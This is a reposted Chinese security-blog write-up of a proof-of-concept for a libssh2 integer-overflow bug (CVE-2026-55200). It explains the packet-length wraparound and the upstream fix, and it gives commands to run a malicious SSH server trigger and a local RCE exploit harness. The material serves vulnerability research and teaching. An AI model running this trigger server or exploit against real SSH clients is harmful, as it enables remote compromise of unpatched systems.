libssh2CVE-2026-55200PoC和本地RCE

admin 2026-06-26 08:41:43 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细分析libssh2库CVE-2026-55200漏洞,该漏洞因未检查SSH数据包长度字段导致整数溢出,可能引发远程代码执行。研究提供算术验证器、恶意SSH服务器脚本及本地RCE利用框架,验证通过控制packet_length=0xffffffff可实现19字节异常分配。文档包含完整PoC代码、修复方案及多平台测试指南,具备较高实操价值。 综合评分: 85 文章分类: 漏洞分析,漏洞POC,渗透测试,红队,安全工具


cover_image

libssh2 CVE-2026-55200 PoC 和本地 RCE

Ots安全

2026年6月24日 11:01 广东

在小说阅读器读本章

去阅读

威胁简报

恶意软件

漏洞攻击

此目录包含针对 CVE-2026-55200 的本地研究成果,CVE-2026-55200packet_length是 libssh2ssh2_transport_read()传输解析器路径中未检查的 SSH 条件。

研究状态:算术验证器、加密 SSH 触发框架和受控本地 RCE 框架已验证。

项目地址:

https://github.com/bikini/exploitarium/tree/main/libssh2-cve-2026-55200-poc

概括

libssh2 1.11.1 及更高版本在一个完整的数据包解密路径中接受了攻击者控制的 SSH 数据包长度,而没有首先强制执行 RFC 规定的 libssh2 数据包最大长度。

易受攻击的源结构如下:

total_num = 4packet_length = decoded SSH packet_length fieldreject only if packet_length < 1total_num += packet_length + mac_len + auth_lenreject if total_num > 35000 or total_num == 0allocate total_num bytes

使用packet_length=0xffffffff、mac_len=0和auth_len=16,易受攻击的 C 表达式可以产生分配大小19:

packet_length + mac_len + auth_len == 15 &nbsp;modulo 2^324 + 15 == 19

原始数据packet_length仍然保留。即使在分配决策已经做出之后,0xffffffff后续的完整数据包处理仍然可以使用从数据包长度推导出的大小,包括样式长度。packet_length – 1

上游修复packet_length > LIBSSH2_PACKET_MAXPAYLOAD在添加之前就被拒绝了。

文件

  • poc/cve_2026_55200_probe.c- 独立的 C11 算术验证器。
  • poc/libpwn_cve_2026_55200_server.py- 最小的恶意 SSH 服务器/触发器脚手架。
  • poc/libpwn_local_rce_harness.c- 受控的本地易受攻击目标,模拟了封装分配到控制模式。
  • poc/libpwn_local_rce_exploit.py- 本地漏洞利用驱动程序,覆盖漏洞利用回调并创建 RCE 证明文件。
  • evidence/2026-06-23-local-harness-output.txt- 早期算术验证证据。

受影响的源路径

受影响的路径位于:

src/transport.c:ssh2_transport_read()

修复方案已在上游提交中实现:

97acf3dfda80c91c3a8c9f2372546301d4a1a7a8

相关修复程序packet_length > LIBSSH2_PACKET_MAXPAYLOAD在完整数据包路径中易受攻击的添加部分之前添加了一个保护措施。

算术验证器

Linux、macOS、WSL 或 MinGW:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe poc/cve_2026_55200_probe.c./cve_2026_55200_probe

使用 MinGW 的 Windows PowerShell:

gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe.exe .\poc\cve_2026_55200_probe.c.\cve_2026_55200_probe.exe

实用模式:

./cve_2026_55200_probe --benign./cve_2026_55200_probe --native./cve_2026_55200_probe --check./cve_2026_55200_probe --packet-length 0xffffffff --mac-len 0 --auth-len 16

预期默认证明条件:

vulnerable32_decision=acceptedvulnerable32_allocation=19fixed32_decision=rejected: out of boundarynative_unpatched_decision=acceptednative_note=source-shaped integer expression wraps before assignment into 64-bit size_tresult=PASS

恶意 SSH 触发

本地密码学和算术自测:

python poc/libpwn_cve_2026_55200_server.py --self-test

最小 SSH 握手、密钥派生、服务器到客户端序列号和加密触发器的回环测试:

python poc/libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

作为一次性恶意服务器运行,接受挑战客户端的测试:

python poc/libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222

–listen-host针对您的实验室实例进行更改–listen-port。脚本顶部还包含以下内容:

HOST = ""PORT = 0

故意打开。

服务器协商curve25519-sha256RSA 主机密钥认证,[email protected]然后发送格式错误的加密服务器到客户端数据包,其解密后的 SSHpacket_length为0xffffffff。

受控局部 RCE 线束

#构建本地易受攻击的目标:gcc -O0 -g -Wall -Wextra -o poc/libpwn_local_rce_harness poc/libpwn_local_rce_harness.c&nbsp;#使用 MinGW 的 Windows PowerShell:gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.c&nbsp;#运行本地漏洞利用驱动程序:python poc/libpwn_local_rce_exploit.py --harness ./poc/libpwn_local_rce_harness --proof ./poc/libpwn_rce_proof.txtcat poc/libpwn_rce_proof.txt&nbsp;#Windows PowerShell:&nbsp;python poc\libpwn_local_rce_exploit.pyGet-Content poc\libpwn_rce_proof.txt&nbsp;#预期证据:

RCE_PROOF=PASS

libpwn-rce-verified

该测试框架通过将模型化的 19 字节分配状态溢出到回调指针并创建来证明本地命令的执行libpwn_rce_proof.txt。

64 位注释

64 位 Linux 目标仍然是此漏洞的潜在目标。在未打补丁的 libssh2 源代码中,易受攻击的分支会packet_length + mac_len + auth_len先使用 32 位/整数操作数进行计算,然后再将结果添加到内存分配中size_t,因此会0xffffffff + 0 + 16循环到内存分配中15,最终4 + 15变成内存分配大小19。

验证状态

已在本地核实:

python poc\libpwn_cve_2026_55200_server.py --self-testpython poc\libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0gcc -O0 -g -Wall -Wextra -o poc\libpwn_local_rce_harness.exe poc\libpwn_local_rce_harness.cpython poc\libpwn_local_rce_exploit.pypython -m py_compile poc\libpwn_cve_2026_55200_server.py poc\libpwn_local_rce_exploit.py

限制

libpwn_cve_2026_55200_server.py这是一个经过本地验证的 CVE 触发器/框架。将其转化为可靠的、针对特定挑战的 flag 读取/远程代码执行 (RCE) 链,仍然取决于目标二进制文件、分配器行为、缓解措施以及挑战如何调用 libssh2。

libpwn_local_rce_harness.c这是一个受控的验证目标,并非适用于所有 libssh2 部署的通用漏洞利用程序。它展示了 CTF/HTB 服务仍需匹配或调整的漏洞利用模式。

参考

  • CVE记录:https://www.cve.org/CVERecord?id=CVE-2026-55200
  • NVD条目:https://nvd.nist.gov/vuln/detail/CVE-2026-55200
  • 上游修复:https://github.com/libssh2/libssh2/commit/97acf3dfda80c91c3a8c9f2372546301d4a1a7a8
  • 上游公关:https://github.com/libssh2/libssh2/pull/2052
  • VulnCheck 安全公告:https://www.vulncheck.com/advisories/libssh2-out-of-bounds-write-via-unchecked-packet-length-in-transport-c

END

公众号内容都来自国外平台-所有文章可通过点击阅读原文到达原文地址或参考地址

排版 编辑 | Ots 小安

采集 翻译 | Ots Ai牛马

公众号 | AnQuan7 (Ots安全)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:Ots安全 《libssh2 CVE-2026-55200 PoC 和本地 RCE》

评论:0   参与:  0